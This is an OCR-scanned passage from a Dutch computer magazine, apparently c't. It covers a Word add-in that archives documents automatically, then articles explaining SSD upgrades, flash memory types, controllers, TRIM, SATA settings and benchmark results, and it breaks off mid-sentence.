spaties probleemloos en zonder foutmeldin- 
gen aan het besturingssysteem doorgeven. 
Als het externe compressieprogramma suc- 
cesvol is aangeroepen, moet in de archief¬ 
map van het document een ZIP-bestand 
komen te staan waarbij uit de naam weer 
blijkt wanneer de archivering exact (met 
datum en tijdstip) heeft plaatsgevonden. 

Een andere procedure zorgt voor het au- 
tomatisch archiveren van een document: 
wdApp_DocumentBeforeClose. Deze proce¬ 
dure is in de class-module cIsWordEvents te 
vinden en wordt als zelfgebouwde routine 
voor een application “event volledig automa- 
tisch uitgevoerd. Dit gebeurt telkens als de 
gebruiker of Word een document wii sfuiten, 
bijvoorbeeld bij het afsiuiten van het pro- 
gramma. Aangezien de routine alleen ge- 
selecteerde documenten moet archiveren, 
moeten deze eerst als zodanig worden her- 


kend. Hiervoor controleert de routine met 
behulp van de functie CustomDocPropRead 
of er in het betreffende document een ge- 
bruikersgedefinieerde eigenschap met de 
naam Auto Archive aanwezfg is en of deze 
de logische waarde 'True' (waar) heeft. In dat 
geval heeft de gebruiker het document na- 
drukkelijk voor autoarchivering aangemerkt 
door een vlnkje te zetten in het venster dat 
verschljnt als je op Autoarchiveren aan/uit' 
klikt. Dat heeft op zijn beurt weer de verant- 
woordelijke event-procedure geactiveerd 
om de genoemde eigenschap met de juiste 
waarde in het document op te slaan. 

Maar ook nu kan de procedure het docu¬ 
ment nog niet aan de reeds besproken Save- 
Verslon-routine doorgeven. Voordat de rou¬ 
tine wellicht voor niets gaat uploaden, moet 
eerst worden bepaald of het document 
uberhaupt in de loop van de huidige sessie 
is gewljzigd. Dat is niet zo makkelijk als het 
klinkt. Er is namelijk geen documentelgen- 
schap die daarover informatie kan geven 
en ook geen application^event die bij wijzi- 
gingen in het document automatisch wordt 
uitgevoerd. De invoegtoepassing moet dan 
dus de event DocumentBeforeSave van 
Word in de gaten houden. Deze gebeurte- 
nis wordt tijdens het opslaan van een docu¬ 
ment uitgevoerd, waar in principe al wijzi- 
gingen aan vooraf zijn gegaan. Als dan de 
eveneens zelfgebouwde event-routine voor 
de controle, wdApp_DocumentBeforeSave, 
wordt uitgevoerd, wordt aan het document 
een gebruikergedefinieerde eigenschap 
met de naam 'SavedSinceOpening' toege¬ 


voegd. De waarde wordt daar bij op 'True* 
gezet. Aan de hand hiervan kan de invoeg¬ 
toepassing betrouwbaar bepalen of het te 
sluiten document wel of niet moet worden 
gearchiveerd. 

Beperkt 

De instelling of een document moet wor¬ 
den gearchiveerd, slaat c't-archief dus niet 
bijvoorbeeld in een database op, maar met 
behulp van gebruikergedefinieerde eigen- 
schappen rechtstreeks in het document zelf. 
Dat werkt niet alleen bij ohginele Word-do- 
cumenten (.doc, .dot, .docx, .docm en .dotrn), 
maar ook bij RTF-bestanden en diverse an- 
dere formaten. Zelfs in ODT-documenten uit 
Libre- of OpenOffice vindt Word opmerkelijk 
genoeg nog een locatie of XML-tak, waar het 
de gebruikergedefinieerde documenteigen- 
schappen in opdracht van de invoegtoepas¬ 
sing kan opslaan, Dat geldt echter niet voor 
TXT-bestanden. Die vergeten daardoor re- 
gelmatig dat de gebruiker had aangevinkt 
dat de bestanden automatisch gearchiveerd 
moeten worden, Maar dat doet geen afbreuk 
aan het nut van c't-archief. (jca) 
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Reportage | SSD; inieiding 


Boi Feddern 


Doping met SSD 

Computer upgraden met een solid-state drive 

Een solid-state disk (SSD) in pfaats van of naast een harde schijf 
kan je computer een enorme boost geven. Het besturingssysteem 
en je programma^s starten hiermee namelijk razendsnel op. Zo’n 
SSD-boost werkt alleen op niet al te oude computers en vergt wef 
wat extra configuratiewerk. 
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Reportage j SSD: rnleiding 


I nstant-onje zet de compu¬ 
ter aan en hij is in een oog- 
wenk klaar voor gebruik. 
Dat is het ideaal. En door so¬ 
lid-state disks is dat ideaal een 
stuk dichterbij gekomen. Door 
de extreem korte toegangstij- 
den van SSD's worden de op- 
starttijden van programma’s 
en het besturingssysteem 
aanzienlijk korter. Windows 7 
start afhankelijk van het BIOS 
in minder dan 20 seconden 
op van een SSD. Bovendien 
zijn solid-state disks volledig 
geruisloos en schokbestendig 
omdat er geen bewegende 
delen in zitten. 

Een SSD slaat de gegevens 
op in flashgeheugenchips, 
waardoor er geen vertraging 
optreedt zoafs by een gewone 
harde schijf, Bij deze laatste 
moeten de lees/schrijfkoppen 
op de magneetschijf in positie 
worden gebracht en wachten 
tot de juiste sector eronder 
voorbijkomt, Deze vertraging 
merk je vooral bij toegang 
tot kleine verspreid liggende 
datablokken, zoals het geval 
is bij bet opstarten van pro- 
gramma's en het besturings¬ 
systeem. 

Bijzonder snelle harde schij- 
yen kunnen hooguit 400 in- en 
outputoperaties per seconde 
(lOPS) aan. Fabrikanten van 
SSD's met een Serial ATA-in- 
terface beloven dankzij een 
krachtige controller een kleine 
100.000 lOPS - dus minstens 
250 keer zoveeL Speciale ser- 
ver-SSD's met een PCI-Express- 
interface zijn zeffs nog sneller 
en overschrijden inmiddels 
de grens van 1,2 miljoen lOPS 
(zie het artikel op p.84). SSO's 
zijn ook bij het sequentieel ko- 
pieren uiterst snel. Modellen 
met een SATA 6G-fnterface (6 
GbIt/s) halen inmiddels trans- 
ferrates van meer dan 500 MB 
per seconde en zijn daarmee 
bijna drie keer sneller dan ge¬ 
wone harde schijven. 

Dat SSD's ondanks de vele 
voordelen toch nog weinrg 
worden gebruikt, ligt voorna- 
melijk aan de prijs. Bij de hul- 
dige topmodellen met SATA 
6G betaal je bijna 1,80 euro 
per gigabyte, bij de goedkope 
harde schijven daarentegen 
slechts drie eurocent. Alleen 
van oudere SSD's met een Se- 
rIal-ATA fl-tnterface (3 Gbit/s) 
dalen de prijzen geleldelljk en 
zullen weldra onder een euro 
per gigabyte duiken. 


Voor de meeste gebruikers is 
een SSD te duur of te klein om 
een harde schtjf helemaat te 
vervangen, met uitzondering 
wellicht van een notebook 
{zie artikel op p.92). Een goed¬ 
kope SSD van 80 tot 160 GB is 
ruimschoots voldoende voor 
het besturingssysteem en pro- 
gramma's. In combinatie met 
een energlezuinige harde schijf 
voor alte andere bestanden 
heb je een krachtig duo [1]. 

Voordat je nu naar de winkef 
stormt en een paar honderd 
euro aan een SSD uitgeeft, 
meet Je eerst eens goed bekij- 
ken of je oude computer wel 
baat heeft bij zo'n upgrade. 
Oudere besturingssystemen 
als Windows XP bijvoorbeeld 
kunnen niet overweg met 
zulke snelle drives. Zelfs bij 
een moderne pc moet je nog 
goed opietten, en dat komt 
door de manler waarop SSD's 
de gegevens intern opslaan, 

SLCen MLC 

SSD’s slaan de gegevens op 
fn NAND-fiashchips op basis 
van twee verschillende tech- 
nieken: Single-Level-Cell (SLC) 
of Multi-Level-Ceil (MLC). SLC- 
SSD's hebben het voordeel 
van een hoge schrijfsnelhetd, 
maar zijn extreem duur om te 
maken. Tegenwoordig worden 
bij de SSD's met een bruikbare 
capaciteit vanaf 64 GB alleen 
nog de goedkopere MLC-chips 
gebruikt. Deze kunnen mini- 
maal twee bits aan informatie 
per cel opslaan, waardoor bij 
dezelfde kosten aan sBIcium 
een hogere datadichtheid dan 
bij SLC-flashchlps mogelijk 
is. De nadelen van MLC-chtps 
zijn de lage schrijfsnelheid en 
de gerlnge levensduur. SLC- 
geheugencellen kunnen maar 
liefst 100.000 schrijfcycii aan 
voordat ze onleesbaar wor¬ 
den, maar bij MLC-chips is dat 
slechts 5.000. 

Om deze nadelen te com- 
penseren, werken de control¬ 
lers van moderne SSD's met 
speciale algorltmes. Een hier- 
van is het zogenaamde wear- 
leveling. Hiermee verdeelt de 
controller de schrijf- en wisac- 
ties zo over de geheugen- en 
reserveblokken, dat iedere cel 
even redig wordt gebruikt Hier- 
door ligt het aantal schrijfcycii 
dat de hele SSD aankan veel 
hoger dan dat van de afzon- 
derlijke cellen. De beperkte le¬ 


vensduur van flashchips moet 
je ook weer niet overwaarde- 
ren: bij normaal gebruik van 
een SSD in een pc of notebook 
wordt veei meer data gelezen 
dan geschreven. Gegevensver- 
lies of uitval van een SSD is dan 
ook voornamelijk te wijten aan 
firmwareproblemen - meer 
daaroverop p.94. 

Controller 

Om een zo hoog mogelijke 
lees- en schrijfsnelheid te 
halen, sturen de controller- 
chips van SSD's tot wel tien 
flashchips gelijktijdig aan (In¬ 
terleaving). De transferrates 
van de afzonderlijke cellen 
worden zo samengevoegd 
zodat transferrates van hon- 
derden MB per seconde ge- 
haald kunnen worden. Meestal 
gel den de opgegeven snelhe- 
den in de technische specifica- 
ties alleen voor de topmodel¬ 
len uit een serie. Eabrikanten 
gebrutken in kleinere model¬ 
len uit kostenoverwegingen 
doorgaans minder geheugen- 
chips - en dus niet hetzelfde 
aantal chips met een lagere 
datadichtheid. Daardoor zijn 
kleinere SSD's met name bij 
het schrijven vaak langzamer. 

Harde schijven kunnen data 
rechtstreeks overschrijven, 
maar flashgeheugen moet 
voor het schrijven de gege¬ 
vens eerst wissen. Daarom 
presteren SSD's het best als ze 
nieuw zijn, want dan beschikt 
de SSD-controller nog over 
heel veel vrije blokken waar 
hij rechtstreeks naartoe kan 
schrijven. Naarmate de SSD 
VO Her raakt, wordt dat steeds 
moeilijker. Het kan dan zelfs 
gebeuren dat de controller 
eerst een heel blok van 512 kB 
moet inlezen, daar de nieuwe 


Snelle SSD's 

Solid-state disks met een 
Serial-ATA-lnterface tot 6 GbIt/s 

SSD-exoten 

Windows overzetten op een SSD 
SSD's onder Linux 


data aan toevoegen en dat in 
zijn geheel weer terugsehrij- 
ven - zelfs als het maar om 
een paar bytes binnen dat 
blokgaat. 

Deze zogenaamde Read- 
Modify-Write-cycIi (RMW) 
vertragen niet alleen de 
schrijfsnelheid, maar belas- 
ten de SSD ook onnodig. Dat 
moet je dus zoveel mogelijk 
zien te voorkomen. Daar zijn 
verschillende methoden voor. 
SSD-controllers van Intel (Intel 
SSD 320), Jmicron JMF616/618 
(Kingston SSDNow VlOO), Mar¬ 
vell (Crucial/Micron m4 en 
Intel SSD 510), Phison (Verba¬ 
tim) en Samsung gebruiken 
bijvoorbeeld een DRAM-cache 
van 256 MB. Daar worden de 
data eerst in gezet, gesor- 
teerd en vervolgens handig 
verdeeld over de afzonderlijke 
datablokken. Het van de harde 
schijven bekende Native Com¬ 
mand Queuing (NCQ) biedt 
daarbij ondersteuning. 

Het gebruik van een DRAM- 
cache verhoogt niet alleen het 
stroomverbruik van een SSD, 
maar ook de fabricagekosten. 
Controllers als de Sandforce 
SF-1222 of SF-2281 hebben 
geen geheugencache en pas- 
sen in plaats daarvan data- 
compressie toe. Daardoor wer¬ 
ken SSD's van Sandforce zelfs 
bij voortdurende schrijfacties 
even snel - uiteraard zolang 
er ook werkelijk lets te com- 
primeren valt. Zodra je gecom- 
primeerde data zoals films en 
muziek naar de SSD schrijft, 
wordt ook deze traag. In de 
praktijk speelt dit echter nau- 
welijks een rol. 

Opruimopdrachten 

De firmware van iedere SSD- 
controller heeft nog meer 
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Een SSD in een notebook Inbouwen 

De levensduur en 
betrouwbaarheid van SSD's 
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Een kant'en-klaar inbouwpakket; veel fabrikanten leveren hun 
2,5"-SSD's met een passend inbouwframe voor een pc* De HyperX 
SSD van Kingston wordt ook met de juiste kabels, een kloonpro- 
gramma en een USB 2,0’-behuizing geleverd, Daarmee kun je v66r 
het inbouwen a! een image van het besturingssysteem op de SSD 
overzetten. 


functies die de schrijfsnet- 
heid en betfouwbaarheid van 
5SD‘s moeten verhogen> Een 
daarvan is de zogenaamde 
Garbage Collection. Wanneer 
er geen toegang tot de data 
is, probeert de SSD-control- 
ier beschreven flashblokken 
samen te voegen om zoveel 
mogelijk vrije blokken te krij- 
gen* Omdat SSD's dit soort 
optimalisatles permanent 
zelfstandig op de achtergrond 
uitvoeren, is een normale de¬ 
frag mentatie met de tools van 
het besturingssysteem of spe- 
ciaie programma's niet nodig. 
In tegendeel zelfs; het externe 
defragmentatieprogramma en 
de Garbage Collector van de 
SSD zouden elkaar alleen maar 
in de weg lopen* Dat lerdt tot 
onnodige schrijfacties, wat op 
zijn beurt de levensduur van 
een SSD verkort. Aangezien 
dat dan ook helemaal geen 
snelheidsvoordelen opievert, 
schakelt Windows 7 bij SSD's 
het defragmentatlemechanis- 
me zelfstandig uit. Bij andere 
besturingssystemen moet je 
dat zelf regelen. 

Een andere belangrijke 
bijdrage ter verbetering van 
de schrijfprestaties en de be- 
trouwbaarheid van SSD's is de 
Trim-technologie in moderne 
besturingssystemen. Hlermee 
geven Windows 7, Linux en 
de nieuwste versies van Mac 
OS X aan welke sectoren op 
de SSD het bestandssysteem 
niet meer nodig heeft. In het 
gur^stigste geval versnelt Trim 
schrijfacties, omdat de SSD 
deze blokken dan ook als on- 
gebfuikt beschouwt en niet 


mee kopieert bij de Garbage 
Collection. 

Trim werkt hefaas nog niet 
ats er meerdere SSD’s in een 
Raid zijn samengevoegd. Ook 
verouderde besturingssyste¬ 
men als XP ondersteunen het 
commando niet. Een aantal 
fabrikanten zoals Intel (SSD 
Toolkit), OCZ en Samsung (SSD 
Magician) hebben wel spe- 
ciale tools om SSD's te trim- 
men, soms zelfs op gezette tij- 
den (zie softlink aan het etnd 
van dit artikel). Omdat in de 
praktijk vooral het handmatig 
trimmen uiterst onhandig is, 
is aan te raden een SSD niet 
helemaal vol te schrijven. Fa- 
brikanten adviseren 15 tot 20 
procent van de opslagruimte 
niet te partitioneren, zodat 
er steeds genoeg vrije blok¬ 
ken ter beschikking staan om 
schrijfacties te versnellen. 

Het vaak besproken mis- 
alignment-probleem bij het 
gebruik van SSD’s onder 
Windows XP speelt onder 
Windows 7 en bij de huidlge 
Linux-drstributies geen rol 
van betekenis omdat het set- 
upprogramma van deze bestu¬ 
ringssystemen de partities bij 
een sectoradres laat beginnen 
dat deelbaar is door acht, bij- 
voorbeeJd sector 2048. 

Opslagruimte 

SSD's gebruiken standaard al 
een deet van de ingebouwde 
flashopslag als reserve. De 
controller haalt nieuwe lege 
blokken uit deze Spare Area 
voor onder andere wear-level¬ 
ling. Hoe groot deze 'overpro¬ 


visioning' is, verschilt van SSD 
tot SSD en hangt uiteindelijk 
van de controller en de firm¬ 
ware af. Bij SSD's met DRAM- 
cache van Marvell en van 
andere fabrikanten bedraagt 
de grootte van de Spare Area 
ongeveer zeven tot acht pro¬ 
cent. Bij SSD’s van Sandforce 
is daarentegen tussen 13 en 
28 procent van de beschikbare 
opslagruimte gereserveerd 
voor eigen doeleinden. 

Je moet bij SSD’s dus altijd 
onderscheld maken tussen de 
bruto- en de nettocapaciteit. 
Daar komt nog bij dat je 'giga¬ 
byte' op twee manleren kunt 
interpreteren* Fabrikanten van 
harde schijven en SSD's ver- 
staan onder een gigabyte 109 
bytes, terwijl Windows met 
'binaire' gigabytes ter groot¬ 
te van 230 bytes rekent - de 
juiste symbooleenheid hier- 
voor is GiB. Het verschil is lets 
meer dan zeven procent: I GiB 
= 1,074 6B. Zo heeft bijvoor- 
beeld een willekeurige SSD 
met ’128 GB' aan flashgeheu- 
gen een gebruikscapaciteit 
van 120 GB (decimaal), maar 
meldt Windows dat er 112 GB 
(binair) beschikbaar is. Soms 
is de opgave van de fabrikant 
ook gewoon verkeerd (zie ook 
volgend artikel). 

Misverstanden 

Massaopslag met extreem 
korte toegangstijden en hoge 
transferrates versnelt vooral 
zeer snelie computers omdat 


een SSD de bottleneck - de 
harde schijf - eruit haalt. Maar 
zelfs de beste SSD helpt niet 
als de vertragende factor er- 
gens anders ligt - bijvoorbeeld 
bij de processor. Als stelregel 
geldt dat je pas bij een rede- 
UJk snelie dualcore een duide- 
lijk effect van een SSD merkt 
Met andere woorden, de hoge 
lOPS-waarden betekenen dat 
een SSD vooral uitblinkt als hi] 
veel concurrerende toegangs- 
aanvragen te verwerken krijgt, 
dus aanvragen van meerdere 
parallel draaiende program- 
ma’s. Zowel bij singlecores als 
bij Atom-netbooks heeft een 
SSD dus geen nut. Zelfs bij een 
snelie dualcore-Atom D525 
met 1,8 GHz is nauwelijks lets 
te merken. Deze armzalige 
processors hebben het met 
een gewone harde schijf in een 
notebook al moeilijk genoeg 
en komen daardoor vermogen 
te kort om nog meer gegevens 
te verwerken. 

Bij een SSD moet ook een 
zo snel mogelijke interface 
gebruikt worden. Als je moe- 
derbord alleen een verou¬ 
derde IDE-aansluiting van de 
eerste genera tie heeft, zet een 
SSD dan maar helemaal uit je 
hoofd. Veet van de beschikba¬ 
re IDE-SSD's zijn voor andere 
doeleinden ontworpen - bij- 
voorbeeld voor het gebruik in 
industrie-pc's of een POS-ter- 
minai (Point-of-Sa!e) - waarbij 
de snelheid minder belang¬ 
rijke r is dan bijvoorbeeld ro- 
buustheid en een geruisloze 





Moderne moederborden hebben massa's SATA-aansluitingen. 
Een SSD moet aan een SATA II- of SATA 6G-poort van de chipset 
hangen omdat extra (onboard) hostadapters niet altijd optima a I 
zijn doorgelust* 
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werkmg. Door de verouderde 
con troll ere hips in zufke SSD’s 
liggen de toegangstijden - 
voora! bij het schrijven - vaak 
zelfs hoger dan bij gewone 
magneetschijven. Hierdoor 
kunnen de werkprestaties van 
een computer zelfs afnemen, 
er zijn immers heel weinig 
IDE-SSD's die bij het lezen op 
zijn minst 5.000 lOPS kunnen 
halen. De IDE-interface be- 
perkt de transferrates boven- 
dlen tot maximaal 133 MB/s. 

Ook het voor de hand lig- 
gende idee om een snelle 
SATA-SSO met een IDE-SATA- 
adapter op het IDE-kanaal van 
een oeroude chipset aan te 
sluiten.zal alleen in uitzonder^ 
lijke gevallen bevredigende 
resultaten opieveren. In onze 
test bleken IDE-SATA-adapters 
namelijk nogal lastige compo- 
nenten die betrekkelijk vaak 
problemen veroorzaken. Het 
aansluiten van flashgeheugen 
via IDE is dan ook meer een 
leak hobbyproject, wat overi- 
gens ook met een CF-kaart en 
een CF-lOE-adapter kan. 

Je kunt op SATA l.O-lnter- 
faces ook SATA II- of SATA 6G- 
SSD's aansluiten, maar dan 
da a It een groot deel van het 
performancepotentieel van 
moderne SSD's, Bovendien 
zit in systemen met een SATA 
1.0-interface vaak een verou- 
derde processor, zodat je daar 
met een SSD toch al geen snel- 
heidswinst zult behalen. 

Je moet het snelle massa- 
geheugen dan ook aan een 
SATA II- of SATA 6G-poort van 
de chipset hangen en bij- 
voorbeeld niet aan een extra 


(onboard) hostadapter die 
misschien niet optimaal is aan- 
gesloten of waarvan de firm¬ 
ware de opstarttijd verlengt Er 
zrjn ook geen waarneembare 
voordeien te verwachten als je 
op een moederbord met SATA 
ll-chlpset een extra SATA 6G- 
adapter aansluit voor een 'be- 
tere' SATA 6G-SSD-verbinding* 
Een verouderd PCEslot levert 
toch niet meer dan zo'n 100 
MB/s en zelfs PCI Express xl uit 
de eerste generatie is met 250 
MB/s niet voldoende voor SATA 
II. Een SATA 6G-chip kan dus 
pas via PCIe 2.0 xl of op een 
PCIe x4-kaart zijn snelste trans- 
ferrates halen. Moederborden 
met PCIe 2.0 xl-slots hebben 
meestal al een geschikte SATA 
6G-chipset Bovendien is er zo 
goed als geen merkbaar ver- 
schll als je een snelle SSD via 
SATA II of SATA6G aansluit. 

Een aantal SSD's kan zelfs 
nog wat sneller werken als de 
SATA-controller in AHCI- of 
RAID-modus staat. Het be- 
sturingssysteem kan dan een 
groot aantal benaderlngsop- 
drachten in een keer versturen. 
De SSD-controller sorteert de 
instructies via Native Com¬ 
mand Queueing (NCQ) zodat hij 
ze optimaal kan afwerken. Dit 
werkt niet met de verouderde, 
IDE-compatible SATA-modus, 

Met de RAID-modus van de 
SATA-controller wordt niet het 
opzetten van een RAIO-sys- 
teem bedoeld. Bij een enkete 
SSD zorgt deze instelling er 
alleen voor dat het besturings- 
systeem een andere driver voor 
de communfeatie met de SATA- 
adapter gebruikt, Bij Intel-sys- 


In het BIOS van het 
moederbord kun 
Je de bedrijfsmo- 
dus van de SATA- 
controller instellan. 
Je moet hier 'RAID’ 
of ’AHCr selecteren 
om de SSD optimaal 
te laten werken. 


temen met een Z68-ch]pset (en 
de In 2012 verwachte H77, Q77 
en Z78) is dat ook een vererste 
om SSD-caching in te kunnen 
schakelen [zie p.84). Overigens 
werkt hot-plugging op moder¬ 
ne systemen zowel in AHCI- als 
in RAID-modus. In het BIOS van 
veel recente moederborden 
kun je daarblj instellen weike 
poorten het besturingssysteem 
als interne of externe eSATA- 
bussen moet herkennen. Al¬ 
leen bij deze laatste verschijnt 
dan het uitwerpsymbool in het 
systeemvak van Windows als je 
de schijf aansluit. 

De juiste SSD 

SSD's van 80 tot 160 GB bieden 
op dit moment de beste prijs/ 
prestatieverhouding en zijn 
al voor minder dan 150 euro 
te koop. De meeste modellen 
worden met een SATA-interface 
geleverd in een 2,5"-bouw- 
vorm met een hoogte van 
9,5 millimeter Die passen in 
alle notebooks, Om ze in een 
3,5"-compartiment van een pc 
in te bouwen heb je een speci- 
aal frame nodig, dat met veel 
SSD's wordt meegeleverd. Zo'n 
frame is voor drie euro ook 
[os verkrijgbaar Er zijn weinlg 
fabrikanten die een 3,5"“5SD 
voor de pc leveren, net zo min 
als kleine 1,8"-modellen en de 
vooral dunne 2,5"-modellen 
met een inbouwhoogte van 7 
millimeter voor subnotebooks. 

De tot nu toe snelste SATA 
6G-SSD's overtroeven de ou- 
dere SATA If-versies in zowel 
datatransferrate als in- en 
outputoperaties (lOPS), maar 


in de praktijk is niet zoveel 
te merken van dat verschil. 
Volgens metingen met de 
praktijkgerichte benchmark 
BAPCo SYSmark is ons test- 
systeem met een Z68-chipset 
en Intel Core i5-2500K met 
een SATA 6G-SSD van Intel 
(SSD 510) zoals verwacht het 
snelst. De voorsprong op een 
systeem met een SATA ll-SSD 
van Intel (SSD 320) was des- 
ondanks toch maar drie pfo- 
cent, EersT dachten we dat dit 
kwam doordat de SSD 510 als 
een van de weinige SATA 6G- 
SSD's minder lOPS aankan dan 
het SATA ll-model van Intel. 
Maar zelfs met de veel snellere 
Crucial m4 (tot 47.000 lOPS 
bij het lezen en 33.747 lOPS 
bij het schrijven) was de pc 
slechts twee procent sneller 
dan met de Intel SATA IHSSD 
320 (38,900 [OPS bij het lezen 
en 2270 IOP5 bij het schrijven), 
Het loont dus de moeite voor 
aankoop goed na te denken: 
met een SATA 6G-SSD kun je 
het laatste restje performance 
uit je systeem persen, maar 
daar betaal je dan ook tot 70 
eurocent per gigabyte meer 
voor dan b!j een SATA ll-SSD. 

De goedkopere SATA II- 
SSD's zijn prima geschikt voor 
notebooks. Ze zijn zuiniger 
met energie dan de SATA 6G- 
modelten, die soms het dub- 
bele van gewone notebook- 
schijven verbruiken en tijdens 
gebruik gedeeltelijk zeer 
warm worden. Op de volgende 
pagina's presenteren we uitge- 
breide testresultaten van zo'n 
25 recente modellen met SATA 
II- en SATA 6G-interface. Onge- 
acht weike SSD je uiteindelijk 
kiest, je zult versteld staan van 
de korte opstarttijden. (jea) 
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Boi Feddern 

In de zesde versnelling 

Solid-state disks met Serial-ATA tot 6 Gbit/s 

Met nreuwe firmware en betere controllertechnieken wordt bij solid-state disks vrijwel wekelijks 
het ene na het andere record verbroken. Ultrasnelle SSD's met SATA 6G halen tegenwoordig zo'n 
500 MB/s en winnen de race, maar daarvoor betaal Je ook fimk. Model len met SATA II zijn juist 
aantrekkelijk door relatief lage prijzen en capaciteiten tot 600 GB. De fabrikanten nemen het 
alleen niet zo nauw met het energleverbrulk. 
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Th i rd pa rty-fa b n ka r>te n 
als Corsair combineren de 
Sandforce-controller SF-22S1 
met verschillende typen flash- 
chips. Hierdoor kan de sriel- 
heid per model varieren. Links 
zre je de langzamere Force 3, 
rechts desnellereen duurdere 
Force GX 


E r komen steeds meer 
solid-state disks op de 
markt met een snelle 
SATA eG-interface van 6 Gbit/s. 
Er lijkt bijna geen week voor* 
bij te gaan of er wordt wel een 
nog sneller model aangekon- 
digd. De snelste SATA-6G-5SD's 
halen inmiddels snelheden van 
500 MB/s, Sommige schijven 
zouden daarbij een duizeling- 
wekkend aantal van 100,000 
in- en outputoperaties per se- 
conde {lOPS) bereiken. SATA-II- 
SSD's komen niet boven de 300 
MB/s uit maar daarmee hoef je 
ze nog niet meteen af te schrij- 
ven. Deze schijven verwerken 
namelijk wel 26.000 lOPS, wat 
dus nog altijd 65 keer zoveel 
is als de snelste harde schijf. 
Bij SATA-ll'Schijven is de keuze 
gigantisch en de concurrentie 
moordend, waardoor prijzen 
continu dalen. Bij de goed- 
koopste SATA-ll-SSD's betaal 
je niet meer dan een euro per 
gigabyte, terwiji Je voor de 
snelste SATA-6G-SSD’s bijna 
het dubbele neertelt. 

Het grootste probleem bij 
het kiezen van de juiste SSD 
is dat modellen die technisch 
enorm op elkaar lijken toch 
kunnen verschillen qua snel- 
heid, kwaliteit en netto opslag- 
capaciteit Om wat licht in deze 
duisternis te brengen, hebben 
we 25 modellen met SATA- 
IJ‘ en SATA“6G-interface naar 
ons lab laten komen, Onder 
andere Samsung heeft zich nu 
ook in de strijd om de snelste 
SATA-6G-SSD gestort. Boven- 
dien zijn er nieuwe records ge- 
vestigd op het gebied van op- 
slagcapaciteit: op de SSD 320 
van Intel kun je nu 600 GB kwijt 

Testmethodes 

De transferrate van een SSD 
is afbankelijk van een aantal 
factoren: de controller, het 


type geheugenchips en de 
firmware. Maar hoewel veel 
SSD's dezelfde controller heb¬ 
ben, zijn er op performance- 
gebied nog behoorlijk wat 
verschillen, Om te beginnen 
optimaliseren de fabrikanten 
de firmware voor verschiltende 
benaderingsmethoden. Third- 
pa rty-aanbieders, die flash- 
geheugen en controllerchips 
bij andere bedrijven inkopen, 
gebruiken daarnaast verschil¬ 
lende flashgeheugenchips die 
so ms zelfs per partij kunnen 
varieren, Bovendien zijn er nog 
verschillende revisies van de 
controllerchips. Tot overmaat 
van ramp gebruiken de fabri¬ 
kanten benchmarks en meet- 
methodes die fors van elkaar 
afwijken om de waarden voor 
de specs te bepalen. Zodoende 
kun je de modellen van de ver¬ 
schillende fabrikanten nauwe- 
lijks direct vergelijken op basis 
van de specs, 

Daarom hebben we bij het 
bepalen van de snelheid van 
SSD's rekening gehouden met 
verschillende aspecten, Onze 
singlet hread-metlngen met 
H2benchw en klelne datablok- 
ken zfjn een goede gra ad me¬ 
ter voor de kopieersnelheden 
die je in de praktijk kunt ver- 
wachten. Deze resultaten zijn 
aangevuld met multlthreaded- 
metlngen met IOmeter. Daar¬ 
bij hebben we ondermeer de 
snelheid gemeten bij het ran¬ 
dom benaderen van kfeine 
datablokken {4 kB), Daarbij 
verwerken SSD's over het alge- 
meen de meeste in- en uitvoer- 
operaties per seconde (lOPS). 
Maar de maxi male transfer- 
rates uit de specs worden dan 
niet gehaald, Dat kun je mak- 
kelijk nagaan aan de hand van 
de volgende formule: 

[OPS ■ bbkgrootte / 1024 = 
transferrale In MB/s 


Een SSD bereikt de hoogste 
snelheden dus bij het bena¬ 
deren van grotere datablok¬ 
ken. Ook daarvoor hebben 
we metingen verricht met het 
programma IOmeter, Om de 
resultaten met oudere tests te 
kunnen vergelijken, hebben 
we ook nu weer gekozen voor 
een blokgrootte van 128 kB. 
Het resultaat van de meting 
is - net als het aantal lOPS dat 
een SSD aankan - een afspie- 
geling van het technisch po- 
tentieel. Maar je kunt er niet 
uit opmaken hoe snel een SSD 
op je pc daadwerkeiijk aan- 
voelt'. Een SSD met maximaal 
95.000 lOPS, zoals bijvoor- 
beeld beloofd wordt voor de 
nieuwste SATA-6G-SSD's met 
Sandforce-controlier, hoeft 
niet per se veel sneller aan te 
voelen dan een goede SATA-II- 
SSD. Aan de andere kant kun 
je ook op een 5ATA-ll-poort 
enorme lOPS-rates halen met 
snelle SATA-6G'SSD's. Bij het 
512GB-model van Samsungs 
SSD B50 was de performance 
via SATA II maar ongeveer 
een derde lager (46.750 i.p,v. 
69.000 lOPS). 

Het applicatieproflel lOmix 
[zie softlink), dat bekend is van 
onze Schijvendans-artikelen 
[1], kan een indicatie geven 
voor de voelbare snelheidsver- 
schlllen tussen een SSD en een 
harde schijf, Voortaan zutlen 
we by SSD-tests de waarden 
van dit profiel vermelden, Het 
wordt daarbij meteen duide- 
lijk dat zetfs de langzaamste 
SSD's uit de test nog bedui- 
dend sneller zijn dan 'norma- 
le' harde schijven. Als je in je 
computer dus nog alleen tra- 
ditionele schijven hebt zitten, 
dan kun Je je pc al behoorlijk 
wat sneller maken met een 
wfllekeurige SSD uit deze test. 
Voorwaarde is natuurlijk wel 
dat de cpu niet de bottleneck 


vormt, Dat geldt trouwens ook 
voor de Verbatim-SSD's met 
Phison-controlter, hoewel die 
bij ons applicatieprofiel niet zo 
goed uit de bus kwamen, 

Nieuwkoiners 

De spannendste nieuwkomer 
in de test is ongetwijfeld de 
SSD 830. de eerste SATA-6G- 
SSD van Samsung. De Korea- 
nen leveren de schijf in een 
zeer dunne behuizing van 7 
millimeter, een formaat dat Je 
verder alleen nog bij Intel {SSD 
320) tegenkomt. Hierdoor past 
de SSD ook in platte subnote¬ 
books. Samsung is van plan om 
een speciaal montageframe 
mee te leveren om deze hard¬ 
ware in traditionele notebooks 
met 9,5mm-schljven In te kun¬ 
nen bouwen. Bij ons testmodel 
ontbrak die echter nog. 

Met Toggle-DDR-NAND- 
geheugenchips uit de 20nm- 
klasse en een nieuwe SATA-6G- 
controller heeft de SSD 830 
een behoorltjke voorsprong 
op de concurrence. Bij het se- 
quentieel multithreaded bena¬ 
deren van grote datablokken 
bedroegen de maximumsnel- 
heden van de 512GB-varianten 
512 MB/s bij het uitlezen van 
data en 378 MB/s bij het weg- 
schrijven daarvan. 

Daarnaast verbruiken de 
Samsungs idle slechts 0.4 watt, 
wat voor SATA-66-SSD's ab- 
normaal weinig is, Ook bij het 
lezen blijft het verbruik met 
2,3 watt beperkt. Wordt er 
echter geschreven, dan stljgt 
de waarde ineens naar vijf 
watt, waarmee het verbruik 
ook gelljk hoger is dan bij elke 
andere SSD. Dat is vooral pro- 
